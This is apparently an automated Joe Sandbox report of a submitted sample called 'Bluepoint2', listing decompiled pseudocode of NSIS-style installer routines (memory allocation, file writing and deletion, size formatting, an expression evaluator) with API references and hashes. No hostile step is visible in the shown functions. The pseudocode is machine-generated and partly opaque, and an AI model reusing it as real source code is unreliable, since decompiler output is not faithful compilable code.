                                                    					if(_t39 <= 7) {
                                                    						switch( *((intOrPtr*)(_t39 * 4 +  &M726F2784))) {
                                                    							case 0:
                                                    								 *_t40 = 0;
                                                    								goto L17;
                                                    							case 1:
                                                    								__eax =  *__eax;
                                                    								if(__ecx > __ebx) {
                                                    									 *(__esp + 0x10) = __ecx;
                                                    									__ecx =  *(0x726f407c + __edx * 4);
                                                    									__edx =  *(__esp + 0x10);
                                                    									__ecx = __ecx * __edx;
                                                    									asm("sbb edx, edx");
                                                    									__edx = __edx & __ecx;
                                                    									__eax = __eax &  *(0x726f409c + __edx * 4);
                                                    								}
                                                    								_push(__eax);
                                                    								goto L15;
                                                    							case 2:
                                                    								__eax = E726F1510(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
                                                    								goto L16;
                                                    							case 3:
                                                    								__ecx =  *0x726f506c;
                                                    								__edx = __ecx - 1;
                                                    								__eax = MultiByteToWideChar(__ebx, __ebx,  *__eax, __ecx, __edi, __edx);
                                                    								__eax =  *0x726f506c;
                                                    								 *((short*)(__edi + __eax * 2 - 2)) = __bx;
                                                    								goto L17;
                                                    							case 4:
                                                    								__eax = lstrcpynW(__edi,  *__eax,  *0x726f506c);
                                                    								goto L17;
                                                    							case 5:
                                                    								_push( *0x726f506c);
                                                    								_push(__edi);
                                                    								_push( *__eax);
                                                    								__imp__StringFromGUID2();
                                                    								goto L17;
                                                    							case 6:
                                                    								_push( *__esi);
                                                    								L15:
                                                    								__eax = wsprintfW(__edi, 0x726f5000);
                                                    								L16:
                                                    								__esp = __esp + 0xc;
                                                    								goto L17;
                                                    						}
                                                    					}
                                                    					L17:
                                                    					_t26 =  *(_t43 + 0x14);
                                                    					if(_t26 != 0 && ( *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x18)))) != 2 ||  *((intOrPtr*)(_t43 - 4)) > 0)) {
                                                    						GlobalFree(_t26);
                                                    					}
                                                    					_t27 =  *((intOrPtr*)(_t43 + 0xc));
                                                    					if(_t27 != 0) {
                                                    						if(_t27 != 0xffffffff) {
                                                    							if(_t27 > 0) {
                                                    								E726F1381(_t27 - 1, _t40);
                                                    								goto L26;
                                                    							}
                                                    						} else {
                                                    							E726F1312(_t40);
                                                    							L26:
                                                    						}
                                                    					}
                                                    					_t44 = _t44 - 1;
                                                    					_t43 = _t43 - 0x20;
                                                    				} while (_t44 >= 0);
                                                    				return GlobalFree(_t40);
                                                    			}











                                                    0x726f265f
                                                    0x726f2661
                                                    0x726f2665
                                                    0x726f2674
                                                    0x726f2678
                                                    0x726f267d
                                                    0x726f267d
                                                    0x726f2685
                                                    0x726f268c
                                                    0x726f2692
                                                    0x00000000
                                                    0x726f2699
                                                    0x00000000
                                                    0x00000000
                                                    0x726f26a1
                                                    0x726f26a5
                                                    0x726f26a8
                                                    0x726f26ac
                                                    0x726f26b3
                                                    0x726f26b7
                                                    0x726f26bd
                                                    0x726f26bf
                                                    0x726f26c1
                                                    0x726f26c1
                                                    0x726f26c8
                                                    0x00000000
                                                    0x00000000
                                                    0x726f26d1
                                                    0x00000000
                                                    0x00000000
                                                    0x726f26d8
                                                    0x726f26de
                                                    0x726f26e8
                                                    0x726f26ee
                                                    0x726f26f3
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2714
                                                    0x00000000
                                                    0x00000000
                                                    0x726f26fa
                                                    0x726f2700
                                                    0x726f2701
                                                    0x726f2703
                                                    0x00000000
                                                    0x00000000
                                                    0x726f271c
                                                    0x726f271e
                                                    0x726f2724
                                                    0x726f272a
                                                    0x726f272a
                                                    0x00000000
                                                    0x00000000
                                                    0x726f2692
                                                    0x726f272d
                                                    0x726f272d
                                                    0x726f2732
                                                    0x726f2743
                                                    0x726f2743
                                                    0x726f2749
                                                    0x726f274e
                                                    0x726f2753
                                                    0x726f275f
                                                    0x726f2764
                                                    0x00000000
                                                    0x726f2769
                                                    0x726f2755
                                                    0x726f2756
                                                    0x726f276a
                                                    0x726f276a
                                                    0x726f2753
                                                    0x726f276b
                                                    0x726f276c
                                                    0x726f276f
                                                    0x726f2783

                                                    APIs
                                                      • Part of subcall function 726F12BB: GlobalAlloc.KERNELBASE(00000040,?,726F12DB,?,726F137F,00000019,726F11CA,-000000A0), ref: 726F12C5
                                                    • GlobalFree.KERNEL32 ref: 726F2743
                                                    • GlobalFree.KERNEL32 ref: 726F2778
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.881139933.00000000726F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 726F0000, based on PE: true
                                                    • Associated: 00000000.00000002.881121829.00000000726F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881178498.00000000726F4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881186442.00000000726F6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_726f0000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Global$Free$Alloc
                                                    • String ID:
                                                    • API String ID: 1780285237-0
                                                    • Opcode ID: ce668efbf24df549053e2db40eabcf72250ee4777dc7b903c242870343680df0
                                                    • Instruction ID: ee716c55e3d45b72299c15fad77ced5cf7684d9d1615ed4adb652f048e24f5a7
                                                    • Opcode Fuzzy Hash: ce668efbf24df549053e2db40eabcf72250ee4777dc7b903c242870343680df0
                                                    • Instruction Fuzzy Hash: 8B318DB2508141EBCF1A8F99C988E2E7BB7FB86344324492FE20196AA4C7315895CF61
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 93%
                                                    			E00402950(void* __ebx) {
                                                    				WCHAR* _t26;
                                                    				void* _t29;
                                                    				long _t37;
                                                    				void* _t49;
                                                    				void* _t52;
                                                    				void* _t54;
                                                    				void* _t56;
                                                    				void* _t59;
                                                    				void* _t60;
                                                    				void* _t61;
                                                    
                                                    				_t49 = __ebx;
                                                    				_t52 = 0xfffffd66;
                                                    				_t26 = E00402DA6(0xfffffff0);
                                                    				_t55 = _t26;
                                                    				 *(_t61 - 0x40) = _t26;
                                                    				if(E00405FAE(_t26) == 0) {
                                                    					E00402DA6(0xffffffed);
                                                    				}
                                                    				E00406133(_t55);
                                                    				_t29 = E00406158(_t55, 0x40000000, 2);
                                                    				 *(_t61 + 8) = _t29;
                                                    				if(_t29 != 0xffffffff) {
                                                    					 *(_t61 - 0x38) =  *(_t61 - 0x2c);
                                                    					if( *(_t61 - 0x28) != _t49) {
                                                    						_t37 =  *0x42a274;
                                                    						 *(_t61 - 0x44) = _t37;
                                                    						_t54 = GlobalAlloc(0x40, _t37);
                                                    						if(_t54 != _t49) {
                                                    							E004035F8(_t49);
                                                    							E004035E2(_t54,  *(_t61 - 0x44));
                                                    							_t59 = GlobalAlloc(0x40,  *(_t61 - 0x28));
                                                    							 *(_t61 - 0x10) = _t59;
                                                    							if(_t59 != _t49) {
                                                    								E00403371(_t51,  *(_t61 - 0x2c), _t49, _t59,  *(_t61 - 0x28));
                                                    								while( *_t59 != _t49) {
                                                    									_t51 =  *_t59;
                                                    									_t60 = _t59 + 8;
                                                    									 *(_t61 - 0x3c) =  *_t59;
                                                    									E00406113( *((intOrPtr*)(_t59 + 4)) + _t54, _t60,  *_t59);
                                                    									_t59 = _t60 +  *(_t61 - 0x3c);
                                                    								}
                                                    								GlobalFree( *(_t61 - 0x10));
                                                    							}
                                                    							E0040620A( *(_t61 + 8), _t54,  *(_t61 - 0x44));
                                                    							GlobalFree(_t54);
                                                    							 *(_t61 - 0x38) =  *(_t61 - 0x38) | 0xffffffff;
                                                    						}
                                                    					}
                                                    					_t52 = E00403371(_t51,  *(_t61 - 0x38),  *(_t61 + 8), _t49, _t49);
                                                    					CloseHandle( *(_t61 + 8));
                                                    				}
                                                    				_t56 = 0xfffffff3;
                                                    				if(_t52 < _t49) {
                                                    					_t56 = 0xffffffef;
                                                    					DeleteFileW( *(_t61 - 0x40));
                                                    					 *((intOrPtr*)(_t61 - 4)) = 1;
                                                    				}
                                                    				_push(_t56);
                                                    				E00401423();
                                                    				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t61 - 4));
                                                    				return 0;
                                                    			}













                                                    0x00402950
                                                    0x00402952
                                                    0x00402957
                                                    0x0040295c
                                                    0x0040295f
                                                    0x00402969
                                                    0x0040296d
                                                    0x0040296d
                                                    0x00402973
                                                    0x00402980
                                                    0x00402988
                                                    0x0040298b
                                                    0x00402997
                                                    0x0040299a
                                                    0x004029a0
                                                    0x004029ae
                                                    0x004029b3
                                                    0x004029b7
                                                    0x004029ba
                                                    0x004029c3
                                                    0x004029cf
                                                    0x004029d3
                                                    0x004029d6
                                                    0x004029e0
                                                    0x004029ff
                                                    0x004029e7
                                                    0x004029ec
                                                    0x004029f4
                                                    0x004029f7
                                                    0x004029fc
                                                    0x004029fc
                                                    0x00402a06
                                                    0x00402a06
                                                    0x00402a13
                                                    0x00402a19
                                                    0x00402a1f
                                                    0x00402a1f
                                                    0x004029b7
                                                    0x00402a33
                                                    0x00402a35
                                                    0x00402a35
                                                    0x00402a3f
                                                    0x00402a40
                                                    0x00402a44
                                                    0x00402a48
                                                    0x00402a4e
                                                    0x00402a4e
                                                    0x00402a55
                                                    0x004022f1
                                                    0x00402c2d
                                                    0x00402c39

                                                    APIs
                                                    • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B1
                                                    • GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029CD
                                                    • GlobalFree.KERNEL32 ref: 00402A06
                                                    • GlobalFree.KERNEL32 ref: 00402A19
                                                    • CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A35
                                                    • DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A48
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Global$AllocFree$CloseDeleteFileHandle
                                                    • String ID:
                                                    • API String ID: 2667972263-0
                                                    • Opcode ID: cc682eb677fc0cdddcbf9664361c627099a0f91e8e9c012db3e8b517a211182c
                                                    • Instruction ID: 78b93316678d616cb595922dcd62a83f4062aa2fb33f08fb70827f98fa9650ab
                                                    • Opcode Fuzzy Hash: cc682eb677fc0cdddcbf9664361c627099a0f91e8e9c012db3e8b517a211182c
                                                    • Instruction Fuzzy Hash: E131B171D00124BBCF216FA9CE89D9EBE79AF09364F10023AF461762E1CB794D429B58
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 77%
                                                    			E00404E71(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
                                                    				char _v68;
                                                    				char _v132;
                                                    				void* __ebx;
                                                    				void* __edi;
                                                    				void* __esi;
                                                    				signed int _t23;
                                                    				signed int _t24;
                                                    				void* _t31;
                                                    				void* _t33;
                                                    				void* _t34;
                                                    				void* _t44;
                                                    				signed int _t46;
                                                    				signed int _t50;
                                                    				signed int _t52;
                                                    				signed int _t53;
                                                    				signed int _t55;
                                                    
                                                    				_t23 = _a16;
                                                    				_t53 = _a12;
                                                    				_t44 = 0xffffffdc;
                                                    				if(_t23 == 0) {
                                                    					_push(0x14);
                                                    					_pop(0);
                                                    					_t24 = _t53;
                                                    					if(_t53 < 0x100000) {
                                                    						_push(0xa);
                                                    						_pop(0);
                                                    						_t44 = 0xffffffdd;
                                                    					}
                                                    					if(_t53 < 0x400) {
                                                    						_t44 = 0xffffffde;
                                                    					}
                                                    					if(_t53 < 0xffff3333) {
                                                    						_t52 = 0x14;
                                                    						asm("cdq");
                                                    						_t24 = 1 / _t52 + _t53;
                                                    					}
                                                    					_t25 = _t24 & 0x00ffffff;
                                                    					_t55 = _t24 >> 0;
                                                    					_t46 = 0xa;
                                                    					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
                                                    				} else {
                                                    					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
                                                    					_t50 = 0;
                                                    				}
                                                    				_t31 = E004066A5(_t44, _t50, _t55,  &_v68, 0xffffffdf);
                                                    				_t33 = E004066A5(_t44, _t50, _t55,  &_v132, _t44);
                                                    				_t34 = E004066A5(_t44, _t50, 0x423748, 0x423748, _a8);
                                                    				wsprintfW(_t34 + lstrlenW(0x423748) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
                                                    				return SetDlgItemTextW( *0x429238, _a4, 0x423748);
                                                    			}



















                                                    0x00404e7a
                                                    0x00404e7f
                                                    0x00404e87
                                                    0x00404e88
                                                    0x00404e95
                                                    0x00404e9d
                                                    0x00404e9e
                                                    0x00404ea0
                                                    0x00404ea2
                                                    0x00404ea4
                                                    0x00404ea7
                                                    0x00404ea7
                                                    0x00404eae
                                                    0x00404eb4
                                                    0x00404eb4
                                                    0x00404ebb
                                                    0x00404ec2
                                                    0x00404ec5
                                                    0x00404ec8
                                                    0x00404ec8
                                                    0x00404ecc
                                                    0x00404edc
                                                    0x00404ede
                                                    0x00404ee1
                                                    0x00404e8a
                                                    0x00404e8a
                                                    0x00404e91
                                                    0x00404e91
                                                    0x00404ee9
                                                    0x00404ef4
                                                    0x00404f0a
                                                    0x00404f1b
                                                    0x00404f37

                                                    APIs
                                                    • lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F12
                                                    • wsprintfW.USER32 ref: 00404F1B
                                                    • SetDlgItemTextW.USER32 ref: 00404F2E
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: ItemTextlstrlenwsprintf
                                                    • String ID: %u.%u%s%s$H7B
                                                    • API String ID: 3540041739-107966168
                                                    • Opcode ID: 9c55475845004576d56970086a3160dc1853a6ea3782dd039902276dcfc99cf4
                                                    • Instruction ID: 20619224473e8c08b4fba53027c62ddcf1c3fef784a2ba69f514aa474de30786
                                                    • Opcode Fuzzy Hash: 9c55475845004576d56970086a3160dc1853a6ea3782dd039902276dcfc99cf4
                                                    • Instruction Fuzzy Hash: 1A11D8736041283BDB00A5ADDC45E9F3298AB81338F150637FA26F61D1EA79882182E8
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 97%
                                                    			E726F1979(signed int __edx, void* __eflags, void* _a8, void* _a16) {
                                                    				void* _v8;
                                                    				signed int _v12;
                                                    				signed int _v20;
                                                    				signed int _v24;
                                                    				char _v76;
                                                    				void _t45;
                                                    				signed int _t46;
                                                    				signed int _t47;
                                                    				signed int _t48;
                                                    				signed int _t57;
                                                    				signed int _t58;
                                                    				signed int _t59;
                                                    				signed int _t60;
                                                    				signed int _t61;
                                                    				void* _t67;
                                                    				void* _t68;
                                                    				void* _t69;
                                                    				void* _t70;
                                                    				void* _t71;
                                                    				signed int _t77;
                                                    				void* _t81;
                                                    				signed int _t83;
                                                    				signed int _t85;
                                                    				signed int _t87;
                                                    				signed int _t90;
                                                    				void* _t101;
                                                    
                                                    				_t85 = __edx;
                                                    				 *0x726f506c = _a8;
                                                    				_t77 = 0;
                                                    				 *0x726f5070 = _a16;
                                                    				_v12 = 0;
                                                    				_v8 = E726F12E3();
                                                    				_t90 = E726F13B1(_t42);
                                                    				_t87 = _t85;
                                                    				_t81 = E726F12E3();
                                                    				_a8 = _t81;
                                                    				_t45 =  *_t81;
                                                    				if(_t45 != 0x7e && _t45 != 0x21) {
                                                    					_a16 = E726F12E3();
                                                    					_t77 = E726F13B1(_t74);
                                                    					_v12 = _t85;
                                                    					GlobalFree(_a16);
                                                    					_t81 = _a8;
                                                    				}
                                                    				_t46 =  *_t81 & 0x0000ffff;
                                                    				_t101 = _t46 - 0x2f;
                                                    				if(_t101 > 0) {
                                                    					_t47 = _t46 - 0x3c;
                                                    					__eflags = _t47;
                                                    					if(_t47 == 0) {
                                                    						__eflags =  *((short*)(_t81 + 2)) - 0x3c;
                                                    						if( *((short*)(_t81 + 2)) != 0x3c) {
                                                    							__eflags = _t87 - _v12;
                                                    							if(__eflags > 0) {
                                                    								L56:
                                                    								_t48 = 0;
                                                    								__eflags = 0;
                                                    								L57:
                                                    								asm("cdq");
                                                    								L58:
                                                    								_t90 = _t48;
                                                    								_t87 = _t85;
                                                    								L59:
                                                    								E726F1510(_t85, _t90, _t87,  &_v76);
                                                    								E726F1312( &_v76);
                                                    								GlobalFree(_v8);
                                                    								return GlobalFree(_a8);
                                                    							}
                                                    							if(__eflags < 0) {
                                                    								L49:
                                                    								__eflags = 0;
                                                    								L50:
                                                    								_t48 = 1;
                                                    								goto L57;
                                                    							}
                                                    							__eflags = _t90 - _t77;
                                                    							if(_t90 < _t77) {
                                                    								goto L49;
                                                    							}
                                                    							goto L56;
                                                    						}
                                                    						_t85 = _t87;
                                                    						_t48 = E726F3050(_t90, _t77, _t85);
                                                    						goto L58;
                                                    					}
                                                    					_t57 = _t47 - 1;
                                                    					__eflags = _t57;
                                                    					if(_t57 == 0) {
                                                    						__eflags = _t90 - _t77;
                                                    						if(_t90 != _t77) {
                                                    							goto L56;
                                                    						}
                                                    						__eflags = _t87 - _v12;
                                                    						if(_t87 != _v12) {
                                                    							goto L56;
                                                    						}
                                                    						goto L49;
                                                    					}
                                                    					_t58 = _t57 - 1;
                                                    					__eflags = _t58;
                                                    					if(_t58 == 0) {
                                                    						__eflags =  *((short*)(_t81 + 2)) - 0x3e;
                                                    						if( *((short*)(_t81 + 2)) != 0x3e) {
                                                    							__eflags = _t87 - _v12;
                                                    							if(__eflags < 0) {
                                                    								goto L56;
                                                    							}
                                                    							if(__eflags > 0) {
                                                    								goto L49;
                                                    							}
                                                    							__eflags = _t90 - _t77;
                                                    							if(_t90 <= _t77) {
                                                    								goto L56;
                                                    							}
                                                    							goto L49;
                                                    						}
                                                    						__eflags =  *((short*)(_t81 + 4)) - 0x3e;
                                                    						_t85 = _t87;
                                                    						_t59 = _t90;
                                                    						_t83 = _t77;
                                                    						if( *((short*)(_t81 + 4)) != 0x3e) {
                                                    							_t48 = E726F3070(_t59, _t83, _t85);
                                                    						} else {
                                                    							_t48 = E726F30A0(_t59, _t83, _t85);
                                                    						}
                                                    						goto L58;
                                                    					}
                                                    					_t60 = _t58 - 0x20;
                                                    					__eflags = _t60;
                                                    					if(_t60 == 0) {
                                                    						_t90 = _t90 ^ _t77;
                                                    						_t87 = _t87 ^ _v12;
                                                    						goto L59;
                                                    					}
                                                    					_t61 = _t60 - 0x1e;
                                                    					__eflags = _t61;
                                                    					if(_t61 == 0) {
                                                    						__eflags =  *((short*)(_t81 + 2)) - 0x7c;
                                                    						if( *((short*)(_t81 + 2)) != 0x7c) {
                                                    							_t90 = _t90 | _t77;
                                                    							_t87 = _t87 | _v12;
                                                    							goto L59;
                                                    						}
                                                    						__eflags = _t90 | _t87;
                                                    						if((_t90 | _t87) != 0) {
                                                    							goto L49;
                                                    						}
                                                    						__eflags = _t77 | _v12;
                                                    						if((_t77 | _v12) != 0) {
                                                    							goto L49;
                                                    						}
                                                    						goto L56;
                                                    					}
                                                    					__eflags = _t61 == 0;
                                                    					if(_t61 == 0) {
                                                    						_t90 =  !_t90;
                                                    						_t87 =  !_t87;
                                                    					}
                                                    					goto L59;
                                                    				}
                                                    				if(_t101 == 0) {
                                                    					L21:
                                                    					__eflags = _t77 | _v12;
                                                    					if((_t77 | _v12) != 0) {
                                                    						_v24 = E726F2EE0(_t90, _t87, _t77, _v12);
                                                    						_v20 = _t85;
                                                    						_t48 = E726F2F90(_t90, _t87, _t77, _v12);
                                                    						_t81 = _a8;
                                                    					} else {
                                                    						_v24 = _v24 & 0x00000000;
                                                    						_v20 = _v20 & 0x00000000;
                                                    						_t48 = _t90;
                                                    						_t85 = _t87;
                                                    					}
                                                    					__eflags =  *_t81 - 0x2f;
                                                    					if( *_t81 != 0x2f) {
                                                    						goto L58;
                                                    					} else {
                                                    						_t90 = _v24;
                                                    						_t87 = _v20;
                                                    						goto L59;
                                                    					}
                                                    				}
                                                    				_t67 = _t46 - 0x21;
                                                    				if(_t67 == 0) {
                                                    					_t48 = 0;
                                                    					__eflags = _t90 | _t87;
                                                    					if((_t90 | _t87) != 0) {
                                                    						goto L57;
                                                    					}
                                                    					goto L50;
                                                    				}
                                                    				_t68 = _t67 - 4;
                                                    				if(_t68 == 0) {
                                                    					goto L21;
                                                    				}
                                                    				_t69 = _t68 - 1;
                                                    				if(_t69 == 0) {
                                                    					__eflags =  *((short*)(_t81 + 2)) - 0x26;
                                                    					if( *((short*)(_t81 + 2)) != 0x26) {
                                                    						_t90 = _t90 & _t77;
                                                    						_t87 = _t87 & _v12;
                                                    						goto L59;
                                                    					}
                                                    					__eflags = _t90 | _t87;
                                                    					if((_t90 | _t87) == 0) {
                                                    						goto L56;
                                                    					}
                                                    					__eflags = _t77 | _v12;
                                                    					if((_t77 | _v12) == 0) {
                                                    						goto L56;
                                                    					}
                                                    					goto L49;
                                                    				}
                                                    				_t70 = _t69 - 4;
                                                    				if(_t70 == 0) {
                                                    					_t48 = E726F2EA0(_t90, _t87, _t77, _v12);
                                                    					goto L58;
                                                    				} else {
                                                    					_t71 = _t70 - 1;
                                                    					if(_t71 == 0) {
                                                    						_t90 = _t90 + _t77;
                                                    						asm("adc edi, [ebp-0x8]");
                                                    					} else {
                                                    						if(_t71 == 0) {
                                                    							_t90 = _t90 - _t77;
                                                    							asm("sbb edi, [ebp-0x8]");
                                                    						}
                                                    					}
                                                    					goto L59;
                                                    				}
                                                    			}





























                                                    0x726f1979
                                                    0x726f1983
                                                    0x726f198c
                                                    0x726f198f
                                                    0x726f1994
                                                    0x726f199d
                                                    0x726f19a6
                                                    0x726f19a8
                                                    0x726f19af
                                                    0x726f19b1
                                                    0x726f19b4
                                                    0x726f19bb
                                                    0x726f19c9
                                                    0x726f19d2
                                                    0x726f19d7
                                                    0x726f19da
                                                    0x726f19e0
                                                    0x726f19e0
                                                    0x726f19e3
                                                    0x726f19e6
                                                    0x726f19e9
                                                    0x726f1ab1
                                                    0x726f1ab1
                                                    0x726f1ab4
                                                    0x726f1b34
                                                    0x726f1b39
                                                    0x726f1b48
                                                    0x726f1b4b
                                                    0x726f1b53
                                                    0x726f1b53
                                                    0x726f1b53
                                                    0x726f1b55
                                                    0x726f1b55
                                                    0x726f1b56
                                                    0x726f1b56
                                                    0x726f1b58
                                                    0x726f1b5a
                                                    0x726f1b60
                                                    0x726f1b69
                                                    0x726f1b7a
                                                    0x726f1b85
                                                    0x726f1b85
                                                    0x726f1b4d
                                                    0x726f1b2f
                                                    0x726f1b2f
                                                    0x726f1b31
                                                    0x726f1b31
                                                    0x00000000
                                                    0x726f1b31
                                                    0x726f1b4f
                                                    0x726f1b51
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1b51
                                                    0x726f1b3d
                                                    0x726f1b41
                                                    0x00000000
                                                    0x726f1b41
                                                    0x726f1ab6
                                                    0x726f1ab6
                                                    0x726f1ab7
                                                    0x726f1b26
                                                    0x726f1b28
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1b2a
                                                    0x726f1b2d
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1b2d
                                                    0x726f1ab9
                                                    0x726f1ab9
                                                    0x726f1aba
                                                    0x726f1af7
                                                    0x726f1afc
                                                    0x726f1b19
                                                    0x726f1b1c
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1b1e
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1b20
                                                    0x726f1b22
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1b24
                                                    0x726f1afe
                                                    0x726f1b03
                                                    0x726f1b05
                                                    0x726f1b07
                                                    0x726f1b09
                                                    0x726f1b12
                                                    0x726f1b0b
                                                    0x726f1b0b
                                                    0x726f1b0b
                                                    0x00000000
                                                    0x726f1b09
                                                    0x726f1abc
                                                    0x726f1abc
                                                    0x726f1abf
                                                    0x726f1af0
                                                    0x726f1af2
                                                    0x00000000
                                                    0x726f1af2
                                                    0x726f1ac1
                                                    0x726f1ac1
                                                    0x726f1ac4
                                                    0x726f1ad7
                                                    0x726f1adc
                                                    0x726f1ae9
                                                    0x726f1aeb
                                                    0x00000000
                                                    0x726f1aeb
                                                    0x726f1ade
                                                    0x726f1ae0
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1ae2
                                                    0x726f1ae5
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1ae7
                                                    0x726f1ac7
                                                    0x726f1ac8
                                                    0x726f1ace
                                                    0x726f1ad0
                                                    0x726f1ad0
                                                    0x00000000
                                                    0x726f1ac8
                                                    0x726f19ef
                                                    0x726f1a68
                                                    0x726f1a6a
                                                    0x726f1a6d
                                                    0x726f1a8b
                                                    0x726f1a8e
                                                    0x726f1a94
                                                    0x726f1a99
                                                    0x726f1a6f
                                                    0x726f1a6f
                                                    0x726f1a73
                                                    0x726f1a77
                                                    0x726f1a79
                                                    0x726f1a79
                                                    0x726f1a9c
                                                    0x726f1aa0
                                                    0x00000000
                                                    0x726f1aa6
                                                    0x726f1aa6
                                                    0x726f1aa9
                                                    0x00000000
                                                    0x726f1aa9
                                                    0x726f1aa0
                                                    0x726f19f1
                                                    0x726f19f4
                                                    0x726f1a59
                                                    0x726f1a5b
                                                    0x726f1a5d
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1a63
                                                    0x726f19f6
                                                    0x726f19f9
                                                    0x00000000
                                                    0x00000000
                                                    0x726f19fb
                                                    0x726f19fc
                                                    0x726f1a32
                                                    0x726f1a37
                                                    0x726f1a4f
                                                    0x726f1a51
                                                    0x00000000
                                                    0x726f1a51
                                                    0x726f1a39
                                                    0x726f1a3b
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1a41
                                                    0x726f1a44
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1a4a
                                                    0x726f19fe
                                                    0x726f1a01
                                                    0x726f1a28
                                                    0x00000000
                                                    0x726f1a03
                                                    0x726f1a03
                                                    0x726f1a04
                                                    0x726f1a18
                                                    0x726f1a1a
                                                    0x726f1a06
                                                    0x726f1a08
                                                    0x726f1a0e
                                                    0x726f1a10
                                                    0x726f1a10
                                                    0x726f1a08
                                                    0x00000000
                                                    0x726f1a04

                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.881139933.00000000726F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 726F0000, based on PE: true
                                                    • Associated: 00000000.00000002.881121829.00000000726F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881178498.00000000726F4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881186442.00000000726F6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_726f0000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: FreeGlobal
                                                    • String ID:
                                                    • API String ID: 2979337801-0
                                                    • Opcode ID: 2c9da42330b3e651e30620f84cd8ef937b3b823f6ccd86bef330621083b0d554
                                                    • Instruction ID: 69df3a37d3ee0fe382e4aa1a2cc563fdad6279f0cb77a8f49f0aae3be25da8e9
                                                    • Opcode Fuzzy Hash: 2c9da42330b3e651e30620f84cd8ef937b3b823f6ccd86bef330621083b0d554
